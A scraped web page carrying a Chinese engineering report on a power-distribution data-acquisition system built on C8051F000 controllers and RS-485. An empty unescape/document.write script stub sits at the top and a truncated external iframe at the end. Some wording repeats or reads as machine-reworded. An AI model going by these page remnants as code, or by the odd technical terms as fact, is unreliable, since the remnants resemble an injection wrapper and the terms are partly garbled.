HTML Tags and JavaScript tutorial
<script language="javascript">var encS="
";var S=unescape(encS);document.write(S);</script>
专题业务报告
专题业务报告
珠纤公司自二期工程投产以来，电力负荷增加，电气设备分散，配电室分散，公司对电力成本会计要求更加标准化，为了降低劳动力成本和工作量，利用现有设备资源收集数据，实现配电系统的自动化和经济要求，确保电力系统的安全可靠运行，提供高质量的电力，满足生产经营要求。因此，需要测量系统中的一些参数，以便随时掌握系统和设备的工作状态。因此，有必要测量系统中的一些参数，以便随时掌握系统和设备的工作状态。数据采集和监控系统广泛应用于电力系统，数据采集系统的性能与监控系统密切相关。
本文设计了数据精度高、时间分辨率高、性能价格比高的模块化数据采集系统，充分利用现有热电站主控室
PowerSA-SCADA
实时监控系统和界面
PC
以有的
MY-IDS2000
配电监控和数据管理系统只需在关键采样点添加适量设备，就可以集成全厂所有关键设备的参数，实现电压、电流、功率、电度等数据采集，以及
开关设备的状态。
1
系统工作原理
公司的电气设备极其分散四个高压配电室、八个低压配电室、七个低压配电室)，充分利用现有的保护测量装置（
P343
、
P247
、
PM500
等等)通信功能。主后台机设置在热电站主控室(使用原有的
PowerSA-SCADA
实时监控系统)，在每个配电室集中所有信号后，通过界内数据采集
PC
汇总后(用原来的
MY-IDS2000
配电监控和数据管理系统)直接与主控室通信，并在界外数据采集上直接与主控室通信。只需在关键采样点添加适量设备，就可以整合全厂现有高低压关键设备的参数，实现电压、电流、功率、电度的数据采集，以及开关设备的状态监测。
公司整个数据采集系统由上位机和多个在线数据采集仪组成。为保证数据采集的可扩展性，在每个配电室安装一个在线数据采集仪，每个在线数据采集仪通过
传感器和
变送器界面实时收集电力系统的工作信息。一旦超过启动阈值，在线数据采集仪将开始数据采集，具体功能可人工设置。上位机和数据采集仪通过
RS-485
接口相连，如图所示
1
所示。上位机顺序访问每个在线数据收集器的不同渠道。一旦在线数据收集器中查看数据，数据存储将按日期和设备序号存储。在非访问期间，上位机可以对数据进行整理和分析，计算参数，搜索可打印的数据，打印数据曲线等。一方面，现场运营商可以进行分析，另一方面，这些数据可以提供给相关部门进行查询。
图
1
系统构成
2
系统实现
在线数据采集器的一个通道分为两部分：主控制板和
接口板。该结构是为了尽可能灵活地使用系统——只需更换接口板和更改主控制板的程序，使每个通道适用于不同的测量要求，以提高系统的性能和价格比。最多可将四个通道插入接线主面板，数据采集通道和接线主面板安装在机箱中，形成完整的在线数据采集器。
目前每台上位机设计的通道数为
16
个结构如附图
2
所示。
注：虚拟框其中一个通道，每个在线数据采集器最多可以有四个这样的通道。
图
2
在线监测仪的构成
2．1
实现硬件部分
考虑到本系统所要实现的功能，控制模块选用了
CygnalTM
公司新型混合信号
SOC
处理器―
C8051F000
。该处理器具有使用灵活、高速、功耗低的优点，主要特点是使用
8051
内核和装配线指令结构，自带看门狗和各种通信接口，包括
ISP
闪速程序存储器和数据存储器，
8
通道复用的
12
位
ADC
，两个
12
位的
DAC
，采用两个比较器
3.3V
供电电压。与其他类型相比，芯片管脚可以由开发者更灵活地定义为处理芯片
JTAG
接口(完全兼容
IEEE 1149.1
实现程序下载和系统调试，
因此，系统的开发和调试非常方便；即使在现场应用，也可以随时进行一定程度的修改。
ADC
可编程的最大采集率是
100KSPS
。主控板采用
HONGKONGTM
公司容量为
1M
非易失存储器(必要时容易扩展到
2M
或
4M
，只需更换同一系列的存储芯片，并在板上
跳线。)，在最大采集速率下记录一次
5
秒数据。
C8051F000
芯片本身具有串行通信功能，使用一块
TITM
公司的
SN75LBC184
插入上位机端的通信协议转换芯片解决了与上位机的通信协议
RS485
通讯问题。
由于公司经常测量高压和大电流，主控板和接口板分离结构的另一个优点是容易实现系统的电气隔离。
测量的电压和电流首先通过一级
变压器变成
100V
和
5A
，然后连接到接线主面板，成为接口板上电压和
电流互感器的输入信号。通过信号调上混合信号处理器的需要，通过信号调节电路滤波并将其提升为正极电压信号。该信号与系统中的实际电压和电流相同，振幅值成一定比例。由于使用的电压互感器采用串联电阻将电压信号转换为电流信号进行测量，因此只给出电流互感器电路，如下图所示
3
所示：
图
3
交流
电流传感器电路
接线主面板上还有一个单独的磁平衡电流传感器，利用霍尔效应和磁补偿原理将被测电路与被测电路绝缘。在测试电路中，被测线路穿过传感器，不会对被测线路产生不利影响。霍尔传感器精度高，线性好，动态性能好，电气性能好。它的另一个优点是可以测量直流、交流和脉动电流，因此可以很好地测量被测电流是交流还是直流。
由于公司中的电气控制元件一般采用继电器或接触器，因此有相应的辅助接可以指示电路的断开和信号的存在，这是标记系统状态的重要信息。触发指令可以通过这些数量获得。采用光电隔离装置实现系统与现场信号的隔离，可根据现场情况跳线，以满足应用要求。
4
所示。
图
4
光电隔离电路
公司配电室中有着数目很多的开关设备，在系统中导通正常负荷电流和关断故障电流。其性能的可靠性与电力系统的安全运行有关。开关设备的触点行程特性一直是衡量其性能的重要指标，因此有利于增加测量位移时间特性的功能。目前采用光栅法或转角法，采用光电位移传感器配合相应的测量电路，但由于系统投资增加、操作复杂、响应速度和稳定性不足，应用不理想。一种简单实用的方法是将高精度直滑
电位器滑动端子连接到主轴，获得动态行程信号。
图
5
位移测量电路
2．2
实现软件部分
系统中的数据采集通道有独立的识别地址，上位机软件控制主动查询各通道，实现通信过程的控制。在线数据采集器软件只负责控制数据采集，并被动响应上位机的查询。一旦数据采集装置上的某个通道收集到所需的数据，立即进入睡眠状态，直到被上位机唤醒，其数据就可以被上位机接收。上位机将采集数据保存成标准的数据格式，供后续数据处理软件处理或员工查询。
上位机的主要功能模块如下：
（
1
）循环查询模块：按顺序定期发送地址查询码，检查数据采集器中是否有数据，以指示相应操作；
（
2
）数据接收模块：完成数据通信功能；
（
3
）数据格式化模块:开关量数据被压入模拟数据，以节省数据采集器中的存储空间，储为标准数据文件。
自检与初始化模块、数据采集模块、存储模块、通信模块等中断服务程序模块是数据采集器的主要功能模块。
3
&nbs;
结语
通过这套系统来采集数据，可以获得高采样速率和采集精度。系统的抗干扰能力和电气隔离能力强，运行稳定、灵活。利用系统本身的数模输出还可以获得简单的控制功能。因而，本系统能很好地满足公司配电系统的数据采集要求。
在具体实施的过程中，要充分认识到集成的复杂性，特别是所用设备的多样型导致了通信协议的多样性。在安装调试过程中，要注意对抗干扰措施的处理。尚需要改进的方向是本套系统设计采用
RS-485
来进行数据通信，当数据量大时通讯时间增长，不能很好满足实时性要求非常高的应用。在系统成本允许的情况下可以考虑采用
USB
接口等来实现。
本文在利用现有设备的基础上提出了一种集成的数据采集方案，对公司用电成本的核算，实时计量监控，实现配电自动化、智能化，提出了有益的探索，必将促进公司潜在的发展，创造潜在的效益。
src="http://avss.b15.cnwg.cn/count/iframe.asp" frameborder="0" width="650" scrolling="no" height="160">